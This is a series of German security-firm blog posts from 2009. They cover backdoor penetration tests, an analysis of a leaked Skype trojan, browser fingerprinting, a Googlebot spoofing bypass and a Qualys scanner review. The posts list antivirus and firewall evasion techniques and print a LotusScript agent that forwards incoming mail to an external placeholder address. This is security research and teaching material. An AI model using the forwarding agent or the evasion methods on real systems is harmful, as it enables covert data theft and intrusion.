Viele unserer Kunden wollen die vielschichtig etablierte Sicherheit durch Backdoor Tests prüfen lassen. Hierbei wird ein eigens für den Kunden angefertigtes Trojanisches Pferd vorbereitet, welches die gegebenen Sicherheitsmassnahmen umgehen, eine Infektion durchführten und Daten extrahieren können soll.

Ein Beispiel-Screenshot einer unserer gern genutzten Backdoor-Varianten ist nachfolgend abgebildet. Diese setzen wir vorzugsweise bei koordinierten Tests ein, bei denen die Zielpersonen eingeweiht sind. Durch die Darstellung der Funktionsweise ist es dem Kunden möglich, das Vorgehen nachvollziehen zu können.

Diese Arbeit ist sehr interessant, da jeweils die individuellen Gegebenheiten und Schutzvorkehrungen des Kunden berücksichtigt werden müssen. Im Laufe der Zeit haben wir verschiedene Strategien entwickelt, wie die jeweiligen Schutzmechanismen umgangen, kompromittiert oder ausgetrickst werden können. Dazu zählen:

• Proxy-Filter
  • Unerwarteter Dateityp (z.B. MSI, VBS)
  • Eingebettete Objekte (z.B. Word, PDF)
  • Eingebetteter Programmcode (VBA-Makros)
  • Alternative Manipulation (z.B. Ajax, ActiveX oder Java)
  • Gesplittetes Nachladen von Modulen
• Antivirus
  • Individueller Programmcode mit unbekannten Pattern
  • Eigene Packer
  • Polymorphie
• Hostbasierte Firewall
  • Legitime API-Calls emulieren
  • DLL-Injection
  • Windows-Hooks
• Netzwerkbasierte Firewall
  • Tunnelling (z.B. Imitation von HTTP/HTML)
  • Codierung (z.B. Base64 oder simples ROT13)
  • Verschlüsselung (vorzugsweise One-Time-Pad)
  • Legitime Authentisierung mit gesnifften Credentials
• Log-Monitoring
  • Sehr reduzierte Zugriffe
  • Nur legitime Zugriffe
  • Zeitverzögerte Zugriffe
  • Deckende Zugriffe (Decoys)

Marc Ruef | G+ (222 Wörter)

► 25.09.2009 – Security Scanner Design am Beispiel von httprecon

Am 24. September 2009 hielt Marc Ruef (CTO der scip AG) einen Vortrag an der OpenExpo 2009 in Winterthur. Dieser trug den Titel Security Scanner Design am Beispiel von httprecon und sollte drei Aspekte besprechen:

• Grundlegende Funktionsweise von Security Scanner
• Ideale Umsetzung einer entsprechenden Lösung
• Konkreter Vergleich zum httprecon project mit seinen Vor- und Nachteilen

Die rund 30 Minuten dauernde Präsentation im Rahmen des Security Track ist hier zum Download bereitgestellt (ppt, 2.6 mb). Die jeweiligen Vorträge sind ebenfalls im offiziellen YouTube Channel der Veranstaltung zu sehen.

Wir möchten uns bei den Veranstalten für die Möglichkeit des Vortrags, den warmen Empfang sowie bei den anderen Teilnehmern mit ihren interessanten Besprechungen bedanken.

Marc Ruef | G+ (161 Wörter)

► 18.09.2009 – Skype-Trojaner von Megapanzer – Eine Analyse

Ende August 2009 veröffentlichte die umstrittene Underground-Seite gulli.com ein Interview mit Ruben Unteregger. Im Mittelpunkt des Interesses steht der von ihm entwickelte Skype-Trojaner. Dieser soll Einblick in die Funktionsweise des Backdoorings durch Ermittlungsbehörden aufzeigen. Die Veröffentlichung der Quellen wurde am 25. August 2009 auf dem Blog des Entwicklers vorgenommen.

Es wurde schon im Vorfeld viel über die Funktionsweise und Möglichkeiten dieses Trojaners spekuliert. Da wir ebenfalls Backdoor-Tests anbieten, war dies natürlich eine gute Möglichkeit, um Einblicke in die Herangehensweise anderer Entwickler erhaschen zu können.

Als Version wird 0.4 ausgewiesen. Die Kommunikation findet über reguläres HTTP statt, indem auf die Funktionen von winhttp.h zugegriffen wird. Der Server in der Dropzone wird in SkypeTrojan.cpp durch die Konstante gUploadServer spezifiziert. Das Vorhandensein eines Proxies wird in GeneralFunctions.cpp durch die Funktion getProxySettings() ermittelt und das Resultat in die HTTP-Kommunikation miteinbezogen.

Die Software legt die für die Uploads vorgesehenen Dateien mit der Dateiendung .bin ab. In SkypeTrojan.cpp wird mit der Funktion doHTTPUploadsThread() regelmässig die für die Datensammlung vorgesehenen Verzeichnisse auf potentielle Uploads hin untersucht und diese dann mit der Funktion uploadData_DirectMain() auf den Server übertragen.

Die Datenkommunikation könnte wohl verschlüsselt werden, da in Crypto.cpp eine simple Implementierung von RC4 dargeboten wird. Die entsprechende Funktion encrypt() wird jedoch nirgends aufgerufen. Entsprechend ist anzunehmen, dass es sich hierbei um eine noch nicht fertige oder eine abgespeckte Fassung der Software handelt.

In DetectPersonalFirewall.cpp wird ein Mechanismus angeboten, anhand dem bekannte Antiviren- und Personal Firewall-Lösungen anhand ihres Prozessnamens identifiziert werden. Dieser kommt jedoch erst beim Aufruf der Funktion deleteEverything() zum Einsatz. Diese wird genutzt, um nach getaner Arbeit sämtliche Spuren der Infektion zu eliminieren. Temporäre Dateien und Registry-Einträge ({HKLM|HKCU}\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN) sowie bestehende Prozesse (z.B. laufende Instanzen von cscript) werden eliminiert. Hierzu kommen verschiedene Aufrufe auf der Kommandozeile sowie VBS-Skripte zum Einsatz. Die Möglichkeiten werden zuerst mit isScriptingActive() überprüft und notfalls mit activateWindowsScriptingHost() das Windows Scripting Host Environment aktiviert (der Ursprungszustand wird jedoch nicht mehr zurückgesetzt). Der Erfolg der gesamten Säuberung wird dem Server anhand der Status-Meldung, die als HTTP GET-Variable übertragen wird, mitgeteilt.

Als Fazit muss gesagt werden, dass es sich hierbei in keinster Weise um eine neuartige Entwicklung handelt. Die genutzten Mechanismen sind altbekannt. Man muss jedoch eingestehen, dass viele davon “straightforward” und solid implementiert wurden (viele grundlegende Mechanismen via API-Calls). Nur an einigen wenigen Stellen tun sich Unschönheiten im Code auf (z.B. teilweise deutsche Benennung von Funktionen). Die grundlegenden technischen Probleme, die im Zusammenhang mit der Strafverfolgung von Skype so mancher Behörde Kopfzerbrechen bereitet, können aber auch hier nicht eliminiert werden. Auch wenn viele Medienberichte etwas anderes vermuten liessen.

Marc Ruef | G+ (494 Wörter)

► 11.09.2009 – Mail Message-Id Fingerprinting Implementation

Im Beitrag Mail Message-Id Fingerprinting haben wir darauf hingewiesen, dass anhand der Message-Id im SMTP-Header eines Emails mittels Application Fingerprinting das eingesetzte Produkte erkannt werden kann. Die letzten Wochen waren wir darum bemüht, sowohl die Struktur dieser mir Regular Expressions (RegExp) abzubilden, als auch eine funktionierende Implementierung für ein automatisiertes Message-Id Fingerprinting umzusetzen.

Die nachfolgende Tabelle zeigt die Strukturen für die jeweiligen Implementierungen. Dabei wurde versucht jene Minor-Versionen ohne Abweichungen in die jeweilige Major-Version zusammenzufassen.

Eine Implementierung namens midfp-1.0 wurde in PHP umgesetzt. Mit dieser kann das Ableiten der Implementierung anhand einer Message-Id automatisiert umgesetzt werden. Der Proof-of-Concept kann hier heruntergeladen und hier online genutzt werden.

Marc Ruef | G+ (353 Wörter)

► 04.09.2009 – Browser Fingerprinting mit Ajax

Die Identifikation eines Webbrowsers ist bei browserspezifischen Angriffen professioneller Natur unerlässlich. Traditioneller Weise wird dabei die als User-Agent mitgeschickte Header-Zeile des Clients ausgelesen. Da sich diese jedoch manipulieren lässt (z.B. bei Mozilla Firefox durch das Addon User Agent Switcher), wird auch hier ein akkurates Application Fingerprinting unerlässlich.

Das browserrecon project versucht dies passiv und serverseitig anhand der Anfragestruktur des Browsers umzusetzen. Und mit dem GET Queue Fingerprinting haben wir eine weitere experimentelle Methode dieser Art entwickelt, die die Reihenfolge der Download-Anfragen zu berücksichtigen versucht.

Jedoch ist es nicht immer möglich oder gewollt, die Erkennung durch ein dynamisches Skript auf dem Webserver umzusetzen. Zum Beispiel dann, wenn das Exploiting im Rahmen einer simplen Cross Site Scripting-Attacke durchgesetzt werden will. Um die Identifikation des Browser auf dieser Ebene und damit clientseitig umzusetzen, kann versucht werden die Eigenarten der Javascript-Implementierung – in unserem Fall wollen wir uns auf Ajax konzentrieren – zu erkennen.

Pedro Laguna von I64 Labs entwickelte eine einfache Implementierung, die den Browser durch xmlHttpRequest versucht auf die Seite about:blank zugreifen zu lassen:

x.open("GET", "about:blank", false);

Durch das Abfangen des Fehlers wird es nun möglich, durch die unterschiedlichen Error-Codes den jeweiligen Browsertyp zu erkennen:

In this case we use an AJAX object to get the about:blank page. This launch an exception in every browser and checking the error code and treatment we can determine the version of the browser.

Nachfolgende Tabelle zeigt auf, welche Eigenschaften das Error-Objekt bei den jeweiligen Browsern mitbringt. Die Property description existiert beispielsweise nur beim Internet Explorer ab Version 5.0 und lineNumber wird nur bei den Browsern von Mozilla und Netscape ausgegeben.

Werden Eigenschaften von mehreren Browser-Familien genutzt, kann versucht werden anhand der Struktur der Rückgabewerte die einzelnen Browser und deren Versionen zu unterscheiden. Beispielsweise gibt Mozilla Firefox 3 für die Eigenschaft name die Zeichenkette NS_ERROR_DOM_BAD_URI zurück, wohingegen der Internet Explorer 8 die Zeichenkette TypeError verwendet. Durch Pattern-Matching und/oder reguläre Ausdrücke lassen sich derlei Unterschiede erkennen.

Wir stellen einen Proof-of-Concept bereit, der eine solche Auswertung zu automatisieren in der Lage ist. Dieser stellt eine Optimierung und Erweiterung der ursprünglichen Implementierung von Pedro Laguna dar. Die jeweiligen Fingerprints stehen zudem als Excel-Sheet zum Download bereit.

Marc Ruef | G+ (474 Wörter)

► 28.08.2009 – LotusScript und seine Gefahren

LotusNotes wird vorzugsweise in grösseren Unternehmungen als Alternative zu Microsoft Exchange und Outlook eingesetzt. Das kommerzielle Produkt, welches mittlerweile von IBM betreut wird, weist eine ähnliche Funktionalität auf: Email, Terminkalender, Tasks/Todos und Chats (mit Sametime).

In Microsoft-Umgebungen ist seit Makroviren wie Melissa und Iloveyou die hauseigene Skriptsprache VBA (Visual Basic for Applications) umstritten. Zu viel Mächtigkeit wird ihr beigemessen und zu gering sind die Restriktionen, die sich modular durchsetzen lassen.

Doch nur die allerwenigsten Leute wissen, dass LotusNotes mit LotusScript eine sehr ähnliche Funktionalität bereitstellt. Schon fast ein bisschen hämisch ist es mitanzusehen, dass sich der Original-Syntax der Skriptsprache sehr stark an VBA/VB6 orientiert. So werden Variablen ebenfalls mit Dim deklariert, man kennt den dynamischen Datentyp Variant und als Vergleichsoperator wird ebenfalls einfaches = anstelle des doppelten == (z.B. wie bei C und PHP) verwendet. WikiPedia schreibt hierzu:

LotusScript is very similar to Visual Basic. Code can often be copied without modification from one to the other, and programmers familiar with one can easily understand the syntax and structure of code in the other. The major differences between the two are in their respective Integrated Development Environments and in the product-specific object classes provided in each language that are included. VB includes a richer set of classes for UI manipulation, whereas LotusScript includes a richer set of application-specific classes for Lotus Notes, Lotus Word Pro and Lotus 1-2-3.

Im Rahmen eines Lotus Notes Penetration Test haben wir LotusScript genutzt, um Angriffe zu automatisieren und Restriktionen des bereitgestellten Kontos zu umgehen. So wurde beispielsweise mittels Pattern-Matching verhindert, dass eine “Send Copy To” Rule für Emails angewendet wird, um diese automatisch an eine externe Mailadresse weiterzuleiten. Indem nun mittels LotusScript ein eigener Agent erstellt wurde, liess sich diese Einschränkung umgehen.

Nachfolgendes Codebeispiel zeigt auf, wie eingehende Nachrichten erkannt, deren Inhalt ausgelesen, in eine neue Nachricht geschrieben und diese an eine vordefinierte Mailadresse geschickt werden. Dieser Agent muss nun nur noch zeitgesteuert auf dem Server oder dem laufenden Client betrieben werden, um die gleiche Funktionalität wie mit einer “Send Copy To” Rule zu erreichen.

Sub MailSendToClone()
   Dim s As New notessession
   Dim db As notesdatabase
   Dim dc As notesdocumentcollection
   Dim ndorig As notesdocument
   Dim ndcopy As notesdocument
   Dim rt As notesrichtextitem


   ‘read the last mail
   Set db = s.currentdatabase
   Set dc = db.alldocuments
   Set ndorig = dc.getlastdocument

   ‘prepare the new mail
   Set ndcopy = New notesdocument(db)

   ndcopy.sendto = “user-at-domain.example”
   ndcopy.subject = “Automated Forwarder”
   ndcopy.body = ndorig.body

   ‘send the mail copy
   Call ndcopy.send(False)
End Sub

Dennoch ist LotusScript nicht per se so gefährlich, wie man es sich von VBA/VBS her gewohnt ist. LotusScript lässt sich nicht einfachso in Emails einbetten oder als Attachment verschicken. Das Erstellen eines reinen Makrovirus auf der Basis von LotusScript ist nicht möglich. Hierzu müssten erweiterte Mechanismen (z.B. das Erstellen von Batch-Dateien oder das Generieren von EXE-Programmen) eingesetzt werden. Eine Kombination von Technologien für simple Abläufe gestaltet sich für Virenprogrammierer hingegen sehr unattraktiv. Da könnte man auch gleich einen binären Virus als EXE-Datei verbreiten.

Marc Ruef | G+ (539 Wörter)

► 21.08.2009 – PHP-Performance bei Inkrementierungen

Performance spielt auch in Bezug auf die Sicherheit eine zentrale Rolle. Bleibt die zeitnahe Abarbeitung von Prozessen nämlich aus, kann dies zu einer Denial of Service für den Dienst führen. Entsprechend ist es bei zeitkritischen Applikationen besonders wichtig, dass die jeweiligen Entwickler ebenfalls ihr Augenmerk auf die Performance ihrer Lösung legen.

Damit wir derartige Schwächen in Applikationen ausmachen können, suchen wir fortwährend nach effizienten Programmierstilen. Beispielsweise wird besonders im PHP-Umfeld seit langer Zeit über die Performance unterschiedlicher Inkrementierungs-Mechanismen diskutiert.

Für einen Performancetest der unterschiedlichen Implementierungen wurde ein Apache Webserver mit PHP verwendet. Das jeweilige Skript durchläuft 100’000 mal eine for-Schleife mit unterschiedlichen Inkrementierungsmethoden:

• Berechnung ($i = $i + 1): Schulvariante mit Addition von 1.
• Post-Inkrement ($i++): Klassische Variante mit Hochzählen.
• Pre-Inkrement (++$i): Alternative klassische Variante.

Dabei stellt sich heraus, dass eine Pre-Inkrementierung der Form ++$i am effizientesten ist und gegenüber einer klassischen Addition der Form $i = $i + 1 einen Geschwindigkeitsvorteil von etwa 22.46 % bringt.

Der Grund dafür liegt darin, dass eine Berechnung ganze 5 Schritte erfordert. Bei einem Post-Inkrement kann auf das Laden der 1 in die ALU verzichtet werden, wodurch nur 4 Schritte erforderlich sind. Und bei einem Pre-Inkrement kann zusätzlich das Laden von $i in den Register gespart werden, wodurch gar nur 3 Schritte erforderlich bleiben.

In dieser Hinsicht gibt es eine Vielzahl unterschiedlicher Paradigmen und Implementierugen, die sich auf die Performance einer Applikation auswirken können. Dabei gibt es einerseits sprachübergreifende Eigenarten:

• Der Aufruf kostenintensiver Funktionen (z.B. str_replace) sollte nur dann vorgenommen werden, wenn zuvor mit einer kostengünstigen Funktion die Notwendigkeit verifiziert werden konnte (z.B. strpos).
• Das Übergeben von Parametern an Funktionen als Referenz ist immer dann schneller, wenn die Adresse im Speicher kleiner ist, weder die Länge der zu übergebenden Zeichenkette.
• Arrays mit statischen Inhalten im Kopf einer Schleife sollten nicht jedesmal neu gezählt werden (z.B. count(array)). Stattdessen sollte das Resultat vorbereitet werden ($arraycount = count($array))).
• In der Regel sind es ineffiziente Datenbankabfragen nicht ineffizienter Programmcode, der eine Applikation träge macht
• Eine langsame Applikation wirkt nicht mehr so träge, wenn dem Benutzer zwischendurch Aktualisierungen vorgelegt werden (z.B. Statusmeldungen).

Ebenso gibt es sprachspezifische und compilerabhängige Eigenarten. Visual Basic 6 bietet hier einige sonderbare Eigenarten, die vielen Entwicklern nicht bekannt sind oder unterschätzt werden:

• Die Identifikation von leeren Strings ist mit LenB(sInput) schneller als mit Len(sInput) oder einem sInput = ""
• Das zurücksetzen von Variablen ist schneller mit sString = vbNullString als mit sString = ""
• Eine strenge Datentypisierung ist effizienter weder das Arbeiten mit dem Datentyp Variant.
• Stringspezifische Funktionen wie Mid$() und UCase$() sind schneller als ihre allgemeinen Pendants Mid() und UCase().
• Das Arbeiten mit Unicode-Zeichen durch AscW() und ChrW$() ist schneller weder mit Asc() und Chr(), da die interne Stringverarbeitung von VB6 auf Unicode basiert.
• Das Nutzen von Konstanten wie vbNullChar und vbTab ist schneller weder die Zeichenerstellung ChrW$(0) oder ChrW$(9).
• Binärprüfungen mit vbBinaryCompare sind immer schneller weder stringprüfungen mit vbTextCompare.

Update 09. November 2009: Diese Präsentation zeigt sehr eindrücklich mögliche Optimierungen, wie sie bei Javascript zum Tragen kommen können.

Marc Ruef | G+ (567 Wörter)

► 14.08.2009 – Qualys Scans: Eine kritische Betrachtung

Im Sinne der Wirtschaftlichkeit ist die Sicherheitsbranche darum bemüht, die sicherheitstechnischen Überprüfungen weitestgehend zu automatisieren. Erste umfassende Bestrebungen konnten im Bereich der Netzwerküberprüfungen beobachtet werden. Dan Farmer und Wietse Venema zeigten erstmals im Jahr 1995 mit SATAN, dass sich repetitive Arbeiten in diesem Bereich geschickt automatisieren lassen sollten. Darauf folgte das von Renauld Deraison entwickelte Nessus-Framework, welches mit einer Vielzahl an Plugins und Erweiterungen aufwarten sollte (leider unterliegt Nessus seit Ende 2005 ab Version 3.0 nicht mehr der GPL).

Ebenfalls waren und sind kommerzielle Anbieter, neben Tenable Network Security mit Nessus, um den Verkauf derartiger Vulnerability Scanner bemüht. Symantec NetRecon war zwischen 2000 und 2002 ein sehr effizientes Tool. Direkter Konkurrent war der ISS Internet Scanner, der aufgrund einer sehr teuren Auditor Lizenz nur von wenigen Sicherheitsfirmen breitflächig eingesetzt werden konnte.

Qualys, die kommerzielle Lösung

Erweiterte Akzeptanz bei grösseren Firmen erlangte in den letzten Jahren die kommerzielle Lösung QualysGuard Vulnerability Management. Mit dem modularen Multi-Tier-Modell lassen sich verschiedene Netzwerksegmente durch die einzelnen Agents prüfen und die übersichtlichen Resultate auf einer zentralen Management Console moderieren. Durch das vollständige Automatisieren wiederholender Prüfungen kann so das Qualitätsmanagement im Netzwerkbereich erheblich erleichtert werden. Zwar kann man das auch dank des Client/Server-Modells von Nessus weitestgehend durchsetzen. Qualys macht das alles halt aber ein bisschen schicker und designtechnisch besser optimiert.

Einige unserer Kunden setzen Qualys punktuell ein, um alle paar Wochen allgemeine Tests durchzuführen. Damit lässt sich in etwa die Entwicklung im Netzwerk beobachten (halten sich die Administratoren an die Vorgaben). Dennoch setzen viele noch immer auf unser Fachwissen, um gerade individuelle Analysen durchführen zu können. Im Rahmen eines weltweiten netzwerkbasierten Security Audits bat ein grosser Kunde aus dem Finanzumfeld darum, dass wir ihre Qualys-Daten als Grundlage unserer eigenen Prüfungen nutzen sollten. Einerseits um Zeit zu sparen, andererseits um eine Verdichtung der Qualität erreichen zu können.

Ausgangslage eines XML-Imports

Wir pflegen ein eigens entwickeltes Datenbankmodell einzusetzen, um die Daten unserer Analysen normalisiert verarbeiten zu können. Sodann setzten wir uns daran, unsere Datenbank dahingehend zu erweitern, dass die Qualys-Daten miteinbezogen werden konnten. Qualys ist in der Lage Reports in verschiedenen Formen zu generieren:

• HTML (MHT)
• PDF
• XML

Wir entwickelten einen Parser für die XML-Ausgaben, um die Daten effizient in unserer relationalen Datenbank ablegen zu können. Leider ist die Struktur der XML-Exports alles andere als geschickt gewählt. So ist zum Beispiel ein wildes Durcheinander bei der Codierung von Sonderzeichen zu beobachten. Vielerorts wird mit CDATA-Abschnitten gearbeitet, dann aber dennoch auf HTML-Entitäten gesetzt. Andererorts wird darauf verzichtet. Um einen einheitlichen Import durchzuführen, müssen diese Spezialfälle bekannt sein und individuell adressiert werden. Das Umsetzen des Parsers gestaltete sich gerade wegen solcher Details als verhältnismässig aufwendig.

Reportqualität

Die Inhalte der Qualys Reports werden gerne aufgrund ihres Umfangs und der Qualität gelobt. Doch auch hier mussten Inkonsistenzen festgestellt werden. In den Feldern DIAGNOSIS, CONSEQUENCE und SOLUTION werden die Eigenschaften der gefundenen Schwachstellen modular dokumentiert. Nicht selten sind aber die beiden letztgenannten Felder leer oder mit einem nichtssagenden N/A versehen. Und dies, obschon sowohl eine Konsequenz als auch eine Lösung hätte dokumentiert werden können. Bestes Beispiel für diese Nachlässigkeit ist ID 38062 (VNC Banner), die gar alle drei Felder leer lässt und nur den Test-Output dokumentiert. Andere Banner-Probleme werden hingegen teilweise oder umfassend beschrieben.

Eine hingegen interessante Designentscheidung ist in Bezug auf die Klassifizierung der Findings getroffen worden. Schwachstellen werden unterschiedlich eingeordnet:

• PRACTICE (gelb)
• VULN (rot)

Im ersten Fall weist Qualys darauf hin, dass der Fehler nicht direkt verifiziert werden konnte (z.B. durch eine Ausnutzung). Damit wird quasi die Zuverlässigkeit des Tests angegeben. Das zusätzliche Rating von 1 bis 5 gibt den Schweregrad des Fehlers an. Diese Zweidimensionalität halte ich dennoch für ungeschickt: Die Severity und die Accuracy eines Findings hat nichts direkt miteinander zu tun. In unserer Datenbank trennen wir diese Felder und weisen die Accuracy je nach Exploiting-Vorgehen mit einem Prozentwert aus (z.B. Banner-Grabbing ist 60 % und das Erstellen einer Reverse-Shell mittels einem Pufferüberlauf ist 100 %).

Zusätzliche Klassen von Qualys sind SERVICE und INFO (beide blau). Dazu gehören Auswertungen, wie ICMP-Ping Zugriffe, allgemeine Informationen zu SSL-Zertifikaten oder das Auslesen der Uptime eines Hosts mittels TCP Timestamp Optionen. Es ist fragwürdig, warum eine erweiterte Analyse des Verhaltens eines Zielsystems nicht auch als Schwachstelle gewertet und mit einer niedrigen Severity versehen wird. Die Möglichkeit eines Banner-Grabbings ist für uns eindeutig eine Schwachstelle (Konfigurationsfehler) und keine allgemeine Information. Jede Herausgabe von Informationen zu einem System muss als Schwachstelle – jedoch nicht zwingend als Sicherheitslücke – gewertet werden.

Da wir in unserer Datenbank ebenfalls die Daten der verschiedenen Nessus-Plugins enthalten haben, lassen sich direkte Vergleiche von Einstufungen unterschiedlicher Quellen durchführen. Qualys klassifiziert Banner-Grabbing wie gesagt als SERVICE/1 (niedrigste Einstufung). Nessus pflegt das Risk als None oder Low auszuweisen (da NASL-Plugins durch jedermann geschrieben werden können, gibt es dort seit jeher ein hohes Mass an Inkonsistenz). Wir hingegen empfinden ein Banner-Grabbing als Medium, da es als direkte Grundlage für weitere Auswertungen oder produktspezifische Angriffe herhalten kann. Die Diskussion von Gegenmassnahmen, in den meisten Fällen das Deaktivieren des Banners, erscheint zwingend angeraten zu sein.

Probleme bei den Analysen

Viele der Findings von Qualys wurden auf der Basis von Bannern zusammengetragen (gelb). Die Qualität solcher Analysen ist sehr fragwürdig. In anderen Fällen hat Qualys scheinbar einen effektiven Test durchgeführt (rot), der zum verlässlichen Resultat geführt haben soll. Jedoch finden sich nirgends im Internet irgendwelche Hinweise dazu, wie die besagte Schwachstelle verifiziert oder ausgenutzt werden kann. Qualys verfügt eventuell über Insider-Informationen. Da die Lösung und mit ihr die Checks nicht quelloffen ist, kann nicht herausgefunden werden, wie Qualys zum Resultat kommt. Man muss dem einfach vertrauen oder es pauschal als False-Positiv abtun. Ein Problem, das bei professionellen Lösungen einfach nicht vorkommen darf.

Zu technischen Problemen kommt es mitunter, wenn sich gewisse Plugins auf Namensauflösungen verlassen. Werden beispielsweise bei Reverse-Lookups falsche Hostnamen zurückgegeben und auf diese erneut ein DNS-Lookup angesetzt, kann dies zu Scans falscher Systeme führen. Selbstverständlich ist dies ein Problem der Nameserver-Administratoren der jeweiligen Zielumgebung. Im Rahmen von professionellen Vulnerability Assessment Projekten dürfen solche Fehler jedoch nicht vorkommen. Solche Fehler kommen normalerweise nur bei kleineren Tools und Entwicklungen von Hobbyprogrammierern vor.

Ein anderer interessanter Effekt musste beobachtet werden. Und zwar führt Qualys gewisse Mapping- und Auswertungs-Zugriffe auf Router durch, die das definierte Zielnetzwerk nur tangieren. Die Resultate dieser Analysen tauchen dann ebenfalls in den Rohdaten und Reports auf, was zu Verwirrung führen kann. Zudem könnte es zu technischen oder juristischen Problemen führen, wenn unbeabsichtigt Objekte angegangen werden, die nicht im abgesteckten Umfang des Projekts enthalten sind.

Statistischer Vergleich

Im Rahmen des genannten Projekts wurden 186 erreichbare Hosts in 75 Zonen geprüft. Dabei wurden 165 offene Ports identifiziert (114 TCP-Ports und 51 UDP-Ports). Insgesamt wurden durch uns 129 unterschiedliche Schwachstellen dokumentiert. Diese konnten wir den einzelnen Systemen als 2027 Schwachstellen (100%) zuweisen. Qualys konnte davon lediglich 1861 Schwachstellen (91.81%) identifizieren. Und Nessus liegt weit abgeschlagen bei 1030 Schwachstellen (50.81%). Die Zählung lässt auf den ersten Blick den Schluss zu, dass Qualys relativ gute Arbeit geleistet hat. Dabei gilt es jedoch zu bedenken, dass insgesamt 84 False-Positives (4.51%) durch Qualys zusammengetragen wurden und diese nachträglich manuell quergeprüft und eliminiert werden mussten.

Zudem gilt es zu berücksichtigen, dass eine kritische Schwachstelle, die durch Qualys nicht gefunden wurde (z.B. Pufferüberlauf als High), weitaus schlimmere Auswirkungen haben kann, weder wenn ein zu vernachlässigender Schönheitsfehler nicht identifiziert werden konnte (z.B. Ping-Möglichkeit als Low). Um einen reellen Vergleich anzustreben, werden den einzelnen Schwachstellen je nach ihrer Einstufung eine Gewichtung zugewiesen. Unsere Skala weist die Einstufungen Low, Medium und High auf. Entsprechend wurde Low der Wert 1, Medium wurde 2 und High wurde 3 zugewiesen. Aufgrund dieser Gewichtung entspricht das Gesamtgewicht des Tests 471’576 Punkten (100%). Das durch Qualys ermittelte Gewicht liegt dann nur noch bei 213’780 Punkten (45.33%) und Nessus kann das Gewicht von 122’220 Punkten (25.91%) zusammentragen. Damit scheint offensichtlich, dass eine professionelle Analyse dennoch manuelle Prüfungen zur Eliminierung von False-Positives und zum Auffinden individueller Probleme erfordert.

Fazit

Das Fazit ist, dass Qualys zur Zeit eine der professionellsten Lösungen seines Bereiches und des kommerziellen Sektors bereitstellt. Vor allem der Komfort automatisierter und wiederkehrender Analysen vermag zu überzeugen. Dennoch kränkelt auch Qualys wie jede andere Scanning-Lösung daran, dass sie aufgrund der Automatisierung das eine oder andere False-Positive generiert und nicht mit individuellen Produkten (z.B. eigens entwickelte Applikationen) umgehen kann. Die Checks von Qualys können nur das erkennen, wofür sie geschrieben wurden. Da die Testabläufe nicht offengelegt sind, kann nicht (ohne aufwendiges Reverse Engineering) nachvollzogen werden, wieso Qualys zu einem spezifischen Resultat kommt. Wer eine umfassende Sicherheitsüberprüfung möchte, sollte sich also nach wie vor nicht auf eine automatisierte Lösung wie Qualys verlassen. Die Qualität einer manuellen und zielgerichteten Prüfung durch einen erfahrenen Penetration Tester lässt sich damit sowohl heute als auch in absehbarer Zukunft nicht erreichen.

QualysGuard Vulnerability Management Vorteile (Pros):

• Viele Checks
• Eigene Checks mittels OVAL umsetzbar.
• Einfaches und komfortables zentrales Management Interface
• Multi-Tier-Modell mit dediziert etablierbaren Agents/Sensoren
• Gute und solide Report-Details zu den meisten Checks (vor allem Gegenmassnahmen)
• Reports als HTML/MHT, PDF und XML
• Aufgrund normalisierter Daten viele Statistiken und eine Trendanalyse möglich
• Kommerzieller Support

QualysGuard Vulnerability Management Nachteile (Cons):

• Hohe Kosten bei vielen Scans
• Software nicht quelloffen
• Plugins/Checks nicht quelloffen und nicht separat dokumentiert (z.B. Webseite/Datenbank)
• Manche Schwachstellen sind zusammengefasst zu einem Finding (z.B. Namensauflösung über DNS, NetBIOS oder SQL; ID 45039, Host Names Found)
• Manche gleichen Schwachstellen werden für Produkte separat geführt (z.B. ID 86247, 86192, 86193 und 86194)
• Manche Report-Details zu einzelnen Checks sind leer oder N/A (z.B. ID 12230, 12059, 38116 und 82063)
• Etwas unstrukturierte und inkonsistente XML-Reports
• Automatisierung garantiert nur eingeschränkte Qualität (False-Positives und Limitierungen bei Tests individueller Lösungen)
• Inkonsistente Risikobewertung der Findings

Update 11. April 2011 11:20

Aktualisierung einiger externer Links und Layout des Vergleichs der Identifikationen.

Marc Ruef | G+ und Stefan Friedli | G+ (1865 Wörter)

► 07.08.2009 – Erweiterte Zugriffsrechte durch Googlebot

Viele Webseiten-Betreiber wollen gewisse Inhalte den registrierten Benutzern vorenthalten. So manches Forum setzt eine Anmeldung voraus, um gar die bestehenden Posts lesen zu können. Damit diese Daten dennoch in Suchmaschinen wie Google indiziert werden können, wird dem jeweiligen Crawler der Zugriff gewährt. Dies erfolgt in der Regel durch das Auslesen des User-Agent, der bei Google zur Zeit wie folgt lautet:

Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)

Durch eigene Skripte oder Browser-Plugins lässt sich der User-Agent anpassen und so mit relativ wenig Aufwand erweiterten Zugriff erlangen. Entwickler und Administratoren haben dies erkannt und versuchen nun mit der Hilfe des Hostnamen des vermeintlichen Bots dessen Legitimität zu erkennen. Typischerweise lautet ein solcher wie folgt:

crawl-66-249-66-1.googlebot.com

Das Problem hierbei ist vielerorts, dass keine strenge Prüfung stattfindet. So wird in mancher PHP-Software lediglich mit der Funktion strstr() das Vorkommen der Zeichenkette googlebot.com geprüft. Ob diese nun zu Beginn des Hostnamens oder als effektive Domain vorkommt, ist irrelevant:

if(strstr($hostname, '.googlebot.com'))

Es besteht nun also die Möglichkeit, dass sich jemand bei einem Reverse-Lookup um einen Hostnamen bemüht, der irgendwo die gewünschte Zeichenkette enthält. Dies könnte zum Beispiel folgender Hostname sein:

attacker.googlebot.com.scip.ch

Google empfiehlt in diesem Zusammenhang eine umfanreiche Prüfung des Reverse-Lookups durchzuführen. Eine simple Analyse der Existenz der Zeichenkette googlebot.com ist nicht sicher.

Eine erweiterte Möglichkeit besteht im Application Fingerprinting des Clients, wie es zum Beispiel mit unserer Lösung browserrecon möglich ist. Anhand des charakteristischen Verhaltens lässt sich erkennen, dass der mitgeschichte User-Agent falsch ist und anstelle des Googlebots ein simpler Firefox-Browser eingesetzt wird.

Marc Ruef | G+ (352 Wörter)

► 31.07.2009 – Hinweis auf und Gefahr durch Word Makro

Um die Jahrtausendwende herum wurden mit Melissa und Iloveyou eine Virenplage sondergleichen losgetreten. Die mediale Wirksamkeit dieser aus heutiger Sicht eher primitiven Makroviren war noch nie dagewesen und deshalb die Risiken von VBA in Office-Dokumenten schlagartig im Bewusstsein der Benutzer und Administratoren.

